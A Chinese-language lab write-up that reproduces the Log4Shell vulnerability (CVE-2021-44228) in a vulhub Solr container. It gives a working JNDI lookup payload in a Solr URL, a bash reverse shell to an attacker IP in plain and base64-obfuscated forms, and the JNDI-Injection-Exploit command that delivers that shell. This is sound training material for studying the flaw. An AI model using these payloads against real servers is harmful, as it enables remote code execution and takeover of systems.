Apache Log4j2 查找功能 JNDI 漏洞复现(CVE-2021-44228)
1.实验目的
复现并分析【CVE-2021044228】Apache Log4j2 Server 反序列化命令执行漏洞,
使用docker技术搭建漏洞环境,在实验环境中复现该漏洞。
2覆盖知识点
Apache Log4j2
Apache Log4j2 是对 Log4j 的升级,它比其前身 Log4j 1.x 提供了重大改进,并提供了 Logback 中可用的许多改进,同时修复了 Logback 架构中的一些固有问题。
2021 年 12 月,在 Apache Log4j2 中发现了一个 0 day漏洞。Log4j 的 JNDI 支持没有限制可以解析的名称。某些协议是不安全的,或者可以允许远程执行代码
Docker
Docker 技术使用 Linux 内核和内核功能(例如 Cgroups 和 namespaces)来分隔进程,以便各进程相互独立运行。这种独立性正是采用容器的目的所在;它可以独立运行多种进程、多个应用,更加充分地发挥基础设施的作用,同时保持各个独立系统的安全性。
JNDI
是Java命名和目录服务的API,它提供了一种统一的方式来访问不同的命名和目录服务,比如LDAP(轻量级目录访问协议)和DNS(域名系统)。通过JNDI,Java应用程序可以通过统一的接口访问各种不同的命名和目录服务,而无需关心底层服务的具体实现细节。JNDI通常用于在Java应用程序中查找和访问远程资源,比如数据库连接、消息队列、邮件服务器等。通过JNDI,Java应用程序可以通过配置文件或代码来定义和查找这些资源的名称,然后通过JNDI API来获取这些资源的引用并进行相应的操作。在一些情况下,JNDI也可以被恶意利用来执行远程代码,比如在log4j2 CVE-2021-44228漏洞中所示的情况。这也是造成CVE-2021-44228的主要原因。
JNDI Lookup
在JNDI中进行查找(lookup)操作,即根据指定的名称或路径查找相应的命名对象。通过JNDI Lookup,Java应用程序可以在命名服务中查找特定的资源或服务,例如数据库连接、JMS队列、LDAP条目等。JNDI Lookup是JNDI API的一个重要功能,用于实现在分布式环境中定位和访问各种资源。
漏洞原理:该漏洞允许远程攻击者执行任意代码。漏洞的原理是在Log4j 2.x的JNDI查找功能中存在一个问题,攻击者可以通过构造恶意的JNDI数据源名称来触发远程代码执行。这可能导致服务器受到攻击,并可能造成数据泄露或服务中断。
这个漏洞是由于Log4j 2中的一个名为JNDI Lookup的特性存在安全问题,攻击者可以利用这个特性来执行远程代码。具体原因是由于Log4j2中的JNDI Lookup特性在处理用户输入时存在不当验证,导致攻击者可以构造恶意输入,触发远程代码执行。攻击者可以通过构造特定的恶意输入,将恶意JNDI URL注入到Log4j的日志配置中,当Log4j尝试解析这个恶意的JNDI URL时,会触发远程代码执行。这个漏洞的严重性在于攻击者可以通过构造恶意的JNDI URL,远程加载恶意的类并执行恶意代码,从而实现远程代码执行攻击。
3实验环境与操作
实验环境
1、VMware Workstation 16
2、Ubuntu 20.4 操作系统(靶场安装环境)
IP地址:192.168.32.135
3、kali Linux
IP地址:192.168.32.128
4、vulhub靶场
实验步骤
下载vulhub靶场
Vulhub - 漏洞环境的Docker-Compose文件
进入vulhub目录下的log4j中CVE-2021-44228文件
并启动容器
cd vulhub/log4j/CVE-2021-444228
docker-compose up -d
在攻击机中打开地址来看是否启动成功:http://your-IP:8983/solr/#/
模拟真实生产环境,我们先检测是否存在log4j2漏洞,我们使用的是DNSlog回显平台来查看是否存在JDNI,即漏洞是否存在。
对于DNSlog平台选择可以参考一下博客:好用的dnslog在线平台_dnslog平台
我们选择的是DNSlog platform平台并将其开启检测
构造payload来让存在漏洞的服务器利用JDNI返回它的Java环境的操作:
加粗部分是重要的组成部分,是完成相关操作的内容,(.ad)的内容就是我们生成的临时域名,所以拼接上面的地址完整的payload就是:
http://192.168.32.135:8983/solr/admin/cores?action=${jndi:ldap://${sys:java.version}.adb1d2ad2a.ipv6.1433.eu.org.}
可以看到在DNSlog回显平台上是能够对于服务器使用JDNI的操作的,说明了log4j2漏洞确实是存在的。
工具准备
本次我们使用到github上大佬开源的对于该漏洞的工具:welk1n/JNDI-Injection-Exploit: JNDI注入测试工具(A tool which generates JNDI links can start several servers to exploit JNDI Injection vulnerability,like Jackson,Fastjson,etc) (github.com)
由于我们的攻击过程是在kali中进行所以我们下载jar包后将其拖入kali虚拟机中并在终端中进入到jar包对应的文件目录中
构建bash反弹指令:
bash -i >& /dev/tcp/x.x.x.x(控制端/攻击机IP)/port_number(端口) 0>&1
bash -i >& /dev/tcp/192.168.32.128/4444 0>&1
YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjMyLjEyOC80NDQ0IDA+JjE=
bash -c {echo, YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjMyLjEyOC80NDQ0IDA+JjE=}|{base64,-d}|{bash,-i}
总指令:
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C “bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjMyLjEyOC80NDQ0IDA+JjE=}|{base64,-d}|{bash,-i}” -A 192.168.32.128
//192.168.32.128是装载了JDNI的虚拟机
即启动封装好的jar包中运行,我选择的是中间的ldap的JDNI操作进行完成。当然我们还需要注意运行jar包时候还需要考虑到Java环境的问题(因为我的kali的Java环境是上次做log4j漏洞时候的jdk1.8.0_411无法完成所以我换回了第一个Java的环境就成功了)
得到相应的指令我们就可以返回我们在第一步中的地址中同理的使用JDNI让服务器运行指令
然后返回kali中查看监听的4444端口成功反弹了shell,就暴露了服务器的所有信息。
思考
对于本次漏洞复现,其实最重要的是理解对于服务器对于JDNI的不恰当使用让用户可以直接通过lookup函数的不正确的验证而使得可以绕过检测实现反弹shell的出现,当然了这也多亏有了一个完全封装好的工具使用让我们可以直接实现对于反弹shell的内容的完成。但更多值得学习的地方应该是针对于可以远程访问的漏洞我们可以通过构造链接直接在url中直接进行访问让服务器进行解析也可以像其他博主那样使用burpsuite工具通过不同的注入点进行同样效果的攻击。